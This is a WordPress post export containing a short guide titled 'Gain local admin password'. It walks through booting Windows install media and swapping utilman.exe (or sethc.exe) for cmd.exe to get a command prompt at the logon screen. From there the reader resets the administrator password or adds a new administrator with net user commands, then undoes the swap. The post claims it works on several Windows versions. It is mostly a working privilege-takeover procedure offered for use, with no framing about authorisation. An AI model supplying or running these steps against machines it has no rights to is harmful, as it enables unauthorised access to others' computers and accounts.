{"id":631,"date":"2016-10-15T18:51:45","date_gmt":"2016-10-15T16:51:45","guid":{"rendered":"http:\/\/wp.rimfalt.se\/?p=631"},"modified":"2020-05-11T12:54:16","modified_gmt":"2020-05-11T10:54:16","slug":"gain-local-admin-password","status":"publish","type":"post","link":"https:\/\/wp.rimfalt.se\/?p=631","title":{"rendered":"Gain local admin password"},"content":{"rendered":"<p>To gain a local admin password is rather simple on any machine that is not bitlocked or some how protected offline.<\/p>\n<p><strong>Setup<\/strong>:<br \/>Have\/Make a bootable windows 10 USB stick&#8230;<\/p>\n<p>#1 Boot windows media Press Shift+F10 to gain Commandprompt<br \/>#2 Change dir to local windows drive c:\\windows\\system32<br \/>#3 copy utilman.exe utilman.old<br \/>#4 copy cmd.exe utilman.exe<\/p>\n<p># ALT is to use sethc.exe&#8230; activates with Shift 5 times&#8230;<\/p>\n<p>#5 reboot computer and boot into windows<br \/>#6 Press Windows + U and now a command prompt will appear outside windows logon. (Or shift 5 times&#8230;)<\/p>\n<p>#7 Change current admin password with<br \/>Net user administrator newpassword<br \/>net user administrator \/active:yes<\/p>\n<p>If needed make a new account with <br \/>net user NewAdmin \/add<br \/>net localgroup administrator NewAdmin \/add<br \/>#8 Reboot and login with the new\/changed account<\/p>\n<p><strong>Cleanup<\/strong>:<br \/>This probably needs a bit of extra high rights &#8211; installer etc..<br \/>Reset it the same way you setit up above will always work.<\/p>\n<p># Start a commandprompt as admin.<br \/>#Change dir to local windows drive c:\\windows\\system32<br \/>delete utilman.exe<br \/>Copy utilman.old utilman.exe<\/p>\n<p>Press Windows + U to se controll comming upp ok<br \/>Or Shift 5 times if you are using Sethc.exe<\/p>\n<p><strong>Tested and works on:<\/strong> <br \/>Windows Server 2016 Technical Preview 5<br \/>Windows 7<br \/>Windows 10 1909<br \/>Windows Server 2012 R2<\/p>\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>To gain a local admin password is rather simple on any machine that is not bitlocked or some how protected [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[12],"tags":[22,52,72],"class_list":["post-631","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-22","tag-gain-admin","tag-password"],"_links":{"self":[{"href":"https:\/\/wp.rimfalt.se\/index.php?rest_route=\/wp\/v2\/posts\/631","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wp.rimfalt.se\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wp.rimfalt.se\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wp.rimfalt.se\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wp.rimfalt.se\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=631"}],"version-history":[{"count":6,"href":"https:\/\/wp.rimfalt.se\/index.php?rest_route=\/wp\/v2\/posts\/631\/revisions"}],"predecessor-version":[{"id":788,"href":"https:\/\/wp.rimfalt.se\/index.php?rest_route=\/wp\/v2\/posts\/631\/revisions\/788"}],"wp:attachment":[{"href":"https:\/\/wp.rimfalt.se\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=631"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wp.rimfalt.se\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=631"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wp.rimfalt.se\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=631"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}